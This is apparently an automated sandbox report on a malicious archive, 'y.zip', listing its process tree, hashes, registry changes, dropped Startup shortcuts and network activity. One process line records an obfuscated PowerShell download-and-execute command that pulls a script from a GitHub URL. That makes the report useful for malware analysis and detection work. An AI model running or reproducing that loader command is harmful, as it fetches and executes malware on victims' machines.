File name:

y.zip

Full analysis: https://app.any.run/tasks/e92c074f-7dfc-4525-b5c4-c5c9c0d2bd60
Verdict: Malicious activity
Analysis date: October 25, 2023, 12:14:33
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
autoit
Indicators:
MIME: application/octet-stream
File info: data
MD5:

D8058959F16490B80B7C41C755E7F475

SHA1:

12553C38AD5FCEC19A92FF74C43B4D1AEF9CC6F8

SHA256:

3A3AA9D0694FC19910198D19D7EEDB15F9B275F765ADD5F3433904068B7E3931

SSDEEP:

24:pE1YQut34/FB3TOjMENhQuT8sRNpFBxEa7ppXtzp4uzO:pEKLt6cei8sRN7BxE61p4ua

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Create files in the Startup directory

      • powershell.exe (PID: 1328)

  • SUSPICIOUS

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 1884)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 1884)

    • Application launched itself

      • cmd.exe (PID: 1884)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 1884)

    • Process drops legitimate windows executable

      • powershell.exe (PID: 1328)

    • Unusual connection from system programs

      • powershell.exe (PID: 1328)

    • Drops the AutoIt3 executable file

      • powershell.exe (PID: 1328)

    • The system shut down or reboot

      • powershell.exe (PID: 1328)

    • The process drops C-runtime libraries

      • powershell.exe (PID: 1328)

  • INFO

    • Manual execution by a user

      • WinRAR.exe (PID: 2532)
      • cmd.exe (PID: 1884)

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 1328)

    • Reads the software policy settings

      • powershell.exe (PID: 1328)

    • Checks proxy server information

      • powershell.exe (PID: 1328)

    • Creates files or folders in the user directory

      • powershell.exe (PID: 1328)

    • Create files in a temporary directory

      • powershell.exe (PID: 1328)

    • Drops the executable file immediately after the start

      • powershell.exe (PID: 1328)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.txt | Text - UTF-8 encoded (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
133
Monitored processes
8
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start notepad.exe no specs winrar.exe no specs rundll32.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe no specs powershell.exe shutdown.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1328WindowsPowerShell\v1.0\powershell.exe -nop -win 1 -C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1616"C:\WINDOWS\system32\NOTEPAD.EXE" "C:\Users\admin\Desktop\y.zip.txt"C:\Windows\System32\notepad.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
1073807364
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\notepad.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\user32.dll
c:\windows\system32\ucrtbase.dll
1884C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\Desktop\y\logsconversationtelegramribh_noBW__(8825).cmd" "C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\cmd.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
c:\windows\system32\advapi32.dll
2532"C:\Program Files\WinRAR\WinRAR.exe" x -iext -ow -ver -- "C:\Users\admin\Desktop\y.zip" C:\Users\admin\Desktop\y\C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
2916C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -EmbeddingC:\Windows\System32\rundll32.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\shcore.dll
c:\windows\system32\shell32.dll
2932C:\WINDOWS\system32\cmd.exe /S /D /c" echo ieX("Ie`X`(N`ew-oBJ`e`Ct N`et.`Web`ClIeNt`).DOwnlOa`d`StRIN`G('https://raw.githubusercontent.com/btse3/2410/main/about.md')"); "C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\cmd.exe
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
3808"C:\WINDOWS\system32\shutdown.exe" /r /t 10C:\Windows\System32\shutdown.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Shutdown and Annotation Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\shutdown.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shutdownext.dll
3880\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\combase.dll
Total events
7 349
Read events
7 336
Write events
13
Delete events
0

Modification events

(PID) Process:(2532) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\General
Operation:writeName:VerInfo
Value:
003C050012F8FE6A437AD701
(PID) Process:(2532) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(2532) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(2532) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(2532) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
(PID) Process:(1328) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(1328) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(1328) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(1328) powershell.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
Executable files
11
Suspicious files
14
Text files
12
Unknown types
0

Dropped files

PID
Process
Filename
Type
1328powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_efplh04z.s2i.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1328powershell.exeC:\_nejcrt3_S\6.txt —
MD5:—
SHA256:—
2532WinRAR.exeC:\Users\admin\AppData\Roaming\WinRAR\version.datbinary
MD5:06954428C0AFA6E62447569C6EA80DC4
SHA256:8A33C74DAD34CFC2567465E80DBBA5632C9FF95BDD508CB14DFFBBFAE2342275
1328powershell.exeC:\_nejcrt3_S\at.txt —
MD5:—
SHA256:—
1328powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_zdd02c13.3fb.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
1328powershell.exeC:\_nejcrt3_S\DESKTOP-JGLLJLD_nejcrt3_Stext
MD5:1F2C46E7F490355D6B90D3B46F491375
SHA256:04AF7267C9138B59A271E0BF6C853D7F4DB1987B6C7155699D352E72852905E8
1328powershell.exeC:\_nejcrt3_S\_nejcrt3_S.zipcompressed
MD5:E8DBC3531F4370E0BE3B60D6592D5725
SHA256:2CF0E68FB2176500EFB7D5B7CD5DFC85E5E73E3E22BEA4CE7883E229ACFF4154
1328powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nejcrt3_SEX.lnkbinary
MD5:C77AE3C7206F950343A6192B220B4A62
SHA256:6A72EB6E271BA90A84EF0F9795580067CE22D131CD22C3EE61B8D57D10AD3F22
1328powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nejcrt3_S.lnkbinary
MD5:69D5B0C3A5FC3EE4E7112D0B96071C2C
SHA256:63D8EF954072C2100E396601F9AA64AB3B59C24951837D08A5B6D94F2457886B
1328powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nejcrt3_SAT.lnkbinary
MD5:E22874ACF9B05B0E82FA0AB8469518B5
SHA256:AB96EC99BBDEFA1D0E01C8956308C29A2AC66A962E57A917A8BD8DD85B3213D3
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
38
DNS requests
13
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2984
OfficeClickToRun.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
binary
471 b
unknown
960
svchost.exe
GET
200
23.36.157.160:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
binary
814 b
unknown
2008
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA177el9ggmWelJjG4vdGL0%3D
unknown
binary
471 b
unknown
3732
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
binary
471 b
unknown
3808
SIHClient.exe
GET
200
23.36.157.160:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
der
409 b
unknown
4252
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAqvpsXKY8RRQeo74ffHUxc%3D
unknown
binary
471 b
unknown
960
svchost.exe
GET
200
23.216.77.6:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
binary
1.11 Kb
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
960
svchost.exe
51.124.78.146:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
960
svchost.exe
23.216.77.6:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
960
svchost.exe
23.36.157.160:80
www.microsoft.com
AKAMAI-AS
DE
unknown
5940
MoUsoCoreWorker.exe
51.124.78.146:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3732
svchost.exe
40.126.31.67:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3732
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
2008
backgroundTaskHost.exe
20.223.35.26:443
arc.msn.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
2008
backgroundTaskHost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
4252
backgroundTaskHost.exe
13.107.21.200:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted

DNS requests

Domain
IP
Reputation
crl.microsoft.com
  • 23.216.77.6
  • 23.216.77.28
whitelisted
www.microsoft.com
  • 23.36.157.160
whitelisted
login.live.com
  • 40.126.31.67
  • 40.126.31.71
  • 20.190.159.4
  • 20.190.159.68
  • 20.190.159.23
  • 20.190.159.71
  • 20.190.159.0
  • 40.126.31.69
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
arc.msn.com
  • 20.223.35.26
whitelisted
raw.githubusercontent.com
  • 185.199.110.133
  • 185.199.111.133
  • 185.199.108.133
  • 185.199.109.133
shared
slscr.update.microsoft.com
  • 40.68.123.157
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.166.126.56
whitelisted
www.dropbox.com
  • 162.125.72.18
shared
uc925c53afd17109b7a9c4feedde.dl.dropboxusercontent.com
  • 162.125.72.15
unknown

Threats

PID
Process
Class
Message
1328
powershell.exe
Potential Corporate Privacy Violation
ET POLICY Dropbox.com Offsite File Backup in Use
1328
powershell.exe
Misc activity
ET INFO DropBox User Content Download Access over SSL M2
No debug info